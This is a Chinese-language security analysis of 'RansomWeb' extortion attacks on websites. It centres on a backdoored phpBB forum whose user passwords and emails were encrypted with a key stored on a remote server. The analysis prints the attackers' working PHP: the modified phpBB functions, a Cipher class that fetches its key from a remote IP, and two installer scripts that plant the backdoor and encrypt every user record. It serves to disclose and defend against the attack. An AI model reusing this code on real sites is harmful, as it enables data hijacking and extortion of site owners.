越来越多的人成为勒索软件的受害者,勒索软件是一种加密你的数据并要求支付资金解密的恶意软件。最新趋势表明,网络犯罪分子现在也将瞄准您的网站以获得您的赎金。
2014年12月,我们的安全专家发现了一个非常有趣的金融公司网站泄密案例:网站服务异常停止,并显示了一个数据库错误。同时网站所有者收到一封电子邮件索要赎金以“解密数据库”。网站大多是小型站点,但问题在于其对公司的业务非常重要,不能暂停它,也不能宣布其妥协。我们通过仔细调查发现了以下细节:
- 六个月前Web应用程序遭到入侵,修改了几个服务器脚本以在将数据插入数据库之前加密数据,并在从数据库获取数据后进行解密,这相当于对Web应用程序用户打了个不可见的“动态”补丁。
- 只加密数据库表中最关键的字段(可能不会对Web应用程序性能产生很大影响)。所有之前的数据库记录都被进行了相应加密。
- 加密密钥存储在只能通过HTTPS访问的远程Web服务器上(可能是为了绕过各种流量监控系统的密钥拦截)。
- 在这六个月内,黑客正在一直在等待,直到数据库的原始备份被最新版本的数据库覆盖。
- 在第X天,黑客从远程服务器上删除了密钥。数据库变得无法使用,网站停止服务,黑客要求获得加密密钥的赎金。
我们确信这是针对具体公司的复杂APT的个别例子,但是上周我们遇到了另一个类似案例。我的一个客户,一个中小企业,在他的... phpBB论坛失灵之后被勒索了。该论坛被用作客户支持的主要平台,因此对客户很重要。
这是2014年11月25日发布的最新的phpBB 3.1.2版本,没有用户可以登录(包括论坛版主和管理员)。该论坛是在线的,但是要求论坛用户进行身份验证的所有功能都不起作用。我们的彻底调查显示,论坛引擎被打了补丁,使得用户的密码和电子邮件在Web应用程序和数据库之间被“即时”加密。
修改了以下文件:
1.文件“ factory.php ”的“sql_fetchrow()”函数被修改为SQL查询结果“$ result = $ this-> get_driver() - > sql_fetchrow($ query_id);并对集合中记录的”user_password“和”user_email“表字段进行解密:
代码语言:javascript复制if(isset($result['user_password'])){
$result['user_password'] = $cipher->decrypt($result['user_password']);
}
if(isset($result['user_email'])){
$result['user_email'] = $cipher->decrypt($result['user_email']);
}
2.文件“ functions_user.php ”的“user_add”功能被修改以对相应字段进行加密:
代码语言:javascript复制$sql_ary = array(
'username'=>$user_row['username'],
'username_clean' => $username_clean,
'user_password' => (isset($user_row['user_password']))?
$cipher->encrypt($user_row['user_password']):$cipher->encrypt(''),
'user_email'=> $cipher->encrypt(strtolower($user_row['user_email'])),
'user_email_hash'=> phpbb_email_hash($user_row['user_email']),
'group_id' => $user_row['group_id'],
'user_type' => $user_row['user_type'],
);
3.文件“ cp_activate.php ”的“main()”函数被修改:
代码语言:javascript复制$sql_ary = array(
'user_actkey' => '',
'user_password' => $cipher->encrypt($user_row['user_newpasswd']),
'user_newpasswd' => '',
'user_login_attempts' => 0,
);
4.文件“ ucp_profile.php ”的“main()”函数被修改:
代码语言:javascript复制if (sizeof($sql_ary))
{
$sql_ary['user_email'] = $cipher->encrypt($sql_ary['user_email']);
$sql_ary['user_password'] = $cipher->encrypt($sql_ary['user_password']);
$sql = 'UPDATE ' . USERS_TABLE . '
SET ' . $db->sql_build_array('UPDATE', $sql_ary) . '
WHERE user_id = ' . $user->data['user_id'];
$db->sql_query($sql);
5.文件“ config.php ”进行了以下修改:
代码语言:javascript复制class Cipher {
private $securekey, $iv;
function __construct($textkey) {
$this->securekey = hash('sha256',$textkey,TRUE);
$this->iv = mcrypt_create_iv(32);
}
function encrypt($input) {
return base64_encode(mcrypt_encrypt(MCRYPT_RIJNDAEL_256,
$this->securekey, $input, MCRYPT_MODE_ECB, $this->iv));
}
function decrypt($input) {
return trim(mcrypt_decrypt(MCRYPT_RIJNDAEL_256,
$this->securekey, base64_decode($input), MCRYPT_MODE_ECB, $this->iv));
}
}
$key=file_get_contents('https://103.13.120.108/sfdoif89d7sf8d979dfgf/
sdfds90f8d9s0f8d0f89.txt');
$cipher=new Cipher($key);
此外,我们在服务器上发现了黑客留下的两个后门安装脚本,只需点击几下即可对任何phpBB论坛安装后门。第一个安装程序修补“config.php”文件以添加“Cipher”类,该类使用PHP“mcrypt_encrypt()”函数解密和加密数据,该函数在远程服务器上存储加密密钥:
代码语言:javascript复制<?php
$file = '../config.php';
$txt = "n".'class Cipher {
private $securekey, $iv;
function __construct($textkey) {
$this->securekey = hash('sha256',$textkey,TRUE);
$this->iv = mcrypt_create_iv(32);
}
function encrypt($input) {
return base64_encode(mcrypt_encrypt(MCRYPT_RIJNDAEL_256,
$this->securekey, $input, MCRYPT_MODE_ECB, $this->iv));
}
function decrypt($input) {
return trim(mcrypt_decrypt(MCRYPT_RIJNDAEL_256,
$this->securekey, base64_decode($input), MCRYPT_MODE_ECB, $this->iv));
}
}
$key=file_get_contents('https://103.13.120.108/sfdoif89d7sf8d979dfgf/
sdfds90f8d9s0f8d0f89.txt');
$cipher=new Cipher($key);'."n";
if( FALSE !== file_put_contents($file, $txt, FILE_APPEND | LOCK_EX)){
echo "DONE!";
};
第二个安装程序解析所有现有的phpBB用户加密他们的电子邮件和密码,并用后门副本替换上述phpBB文件:
代码语言:javascript复制<?php
define('IN_PHPBB', true);
$phpbb_root_path = (defined('PHPBB_ROOT_PATH')) ? PHPBB_ROOT_PATH : '../';
$phpEx = substr(strrchr(__FILE__, '.'), 1);
include($phpbb_root_path . 'common.' . $phpEx);
include($phpbb_root_path . 'includes/functions_display.' . $phpEx);
$sql = 'SELECT user_id, user_password, user_email FROM ' . USERS_TABLE;
$result = $db->sql_query($sql);
while ($row = $db->sql_fetchrow($result))
{
$sql2 = 'UPDATE ' . USERS_TABLE . '
SET
user_password = "'.$cipher->encrypt($row['user_password']).'",
user_email = "'.$cipher->encrypt($row['user_email']).'"
WHERE user_id = '.$row['user_id'];
$result2 = $db->sql_query($sql2);
}
echo "SQL UPDATED!<br>";
copy('factory.php', '../phpbb/db/driver/factory.php');
copy('functions_user.php', '../includes/functions_user.php');
copy('ucp_activate.php', '../includes/ucp/ucp_activate.php');
copy('ucp_profile.php', '../includes/ucp/ucp_profile.php');
echo "FILES UPDATED!";
攻击者等待了2个月,然后从远程服务器上删除了密钥。之后因为我们因为FTP密码泄露发现phpBB被损坏了。
目前,没有任何防病毒软件能够将安装程序检测为已知的恶意软件:
- “step1.php”文件
- “step2.php”文件
根据其攻击网站之后进行勒索的方式,我们称这种黑客技术为RansomWeb。我们试着对RansomWeb攻击进行了简要分析:
RansomWeb的特点:
- 与DDoS攻击不同; 它们可以对Web应用程序的可用性产生持久影响。
- 不仅可用于勒索,还可用于让网站长期无法工作。
- 备份无济于事,因为数据库将以加密模式备份,而加密密钥是远程存储的,不会备份。
- 几乎不可能在没有支付赎金的情况下从攻击中恢复,许多受害者不得不向黑客支付费用。
- 托管公司尚未准备好应对这一新挑战,可能无法帮助他们的客户。
RansomWeb的弱点:
- 可以通过文件完整性监视器轻松检测到(但是,很少有公司对可能每天都在更改的Web应用程序进行文件完整性监视)。
- 在不损害Web应用程序功能和/或速度的情况下加密整个数据库非常困难(尽管如此,即使一个不可恢复的DB字段也可能破坏Web应用程序)。
- 如果网站定期更新,就可能很快检测到。
High-Tech Bridge的首席执行官Ilia Kolochenko说:“我们可能面临一个新的威胁,可能比数据污损和DDoS攻击更严重。RansomWeb攻击可能造成无法修复的损坏,这很容易发生但很难预防。黑客攻击网站以获得荣耀或乐趣的日子已经结束,现在他们正受到金钱驱使,网络勒索,讹诈和敲诈的时代即将开始。“
首席研究官Marsel Nizamutdinov补充说:“网络勒索和勒索软件已经存在了一段时间,但网站是一个新的被敲诈对象。我们有数以千万计的易受攻击的网页应用程序包含关键数据,黑客绝对不会错过这样因为网站管理员的疏忽而赚钱的好机会。“
Ilia Kolochenko继续说道:“防止此类攻击的唯一方法是将常规安全监控与网站渗透测试相结合。”
RansomWeb攻击的效率和赚钱能力是否会优于DDoS,数据破坏和数据盗窃?这个问题很可能在2015年得到答案。
数据库sqlphp黑客云镜(主机安全)数据库sqlphp黑客云镜(主机安全)